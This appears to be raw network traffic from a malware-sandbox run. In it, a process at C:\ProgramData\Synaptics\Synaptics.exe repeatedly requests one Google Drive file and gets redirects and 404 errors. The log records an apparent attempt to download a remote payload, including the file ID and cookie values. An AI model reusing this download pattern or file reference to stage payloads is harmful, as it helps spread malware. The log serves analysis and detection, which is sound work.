Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49968	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:07 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XDgwSX4_tBNKMsoEXJBTsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49969	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:07 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:08 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7GVtHhSxq5SMMMO-1cJ72ZKbCrCK1u1eDY5qY9pzk4q5Noi0wL_8VjY6-uzRUBo8B9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:08 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Boaj8ctGenao6Vnr65Ygqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:08 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:08 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 74 57 52 68 47 38 4a 36 79 41 36 33 38 47 6e 68 42 42 37 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="QtWRhG8J6yA638GnhBB7Fg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:08 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49971	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:07 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:08 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4ooxedmOwarrBlY25meNQxUNV14JlLQws75zMRiJ-XR1q1a1ALJVIv4iY_W1nD9Eo_ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:08 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jc1K7EDbyF-CMTl1UuO1AQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:08 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:08 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 32 73 33 79 6f 54 48 32 55 77 6e 54 50 33 79 71 43 45 4c 34 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="L2s3yoTH2UwnTP3yqCEL4A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:08 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49972	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:07 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-f4GRiUhH4Y3f4TAL4k5_Eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49981	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:08 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-waWiwF12yP5l91Jcpo-pZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49983	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:08 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:09 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5XfE6c6FWbYbcaYsE8CII7WTQSZH2UxQzlvQ_tXptvVMj6gezsk38K5D1lgTYuwnr5 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:09 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pW_mcY9mSJ_58K7k28Cvnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:09 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:09 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 57 48 73 42 58 30 72 69 4a 46 66 71 4e 38 70 6a 66 51 41 72 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="JWHsBX0riJFfqN8pjfQArg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:09 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49984	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:09 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-VtsRT9eiB6ONrKuIGUDj5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49985	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:09 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:09 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4l_FiJWpXy3qHDpBtZAln25MYIPR2cz1tydI6O220s7gBclzHO2lSwgoFyOkgci7w1 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:09 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lPIFVudLxMtgRIY_5GGbvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:09 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:09 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 56 59 65 5a 49 49 65 66 41 4a 2d 5f 52 66 68 58 50 48 75 33 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="RVYeZIIefAJ-_RfhXPHu3A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 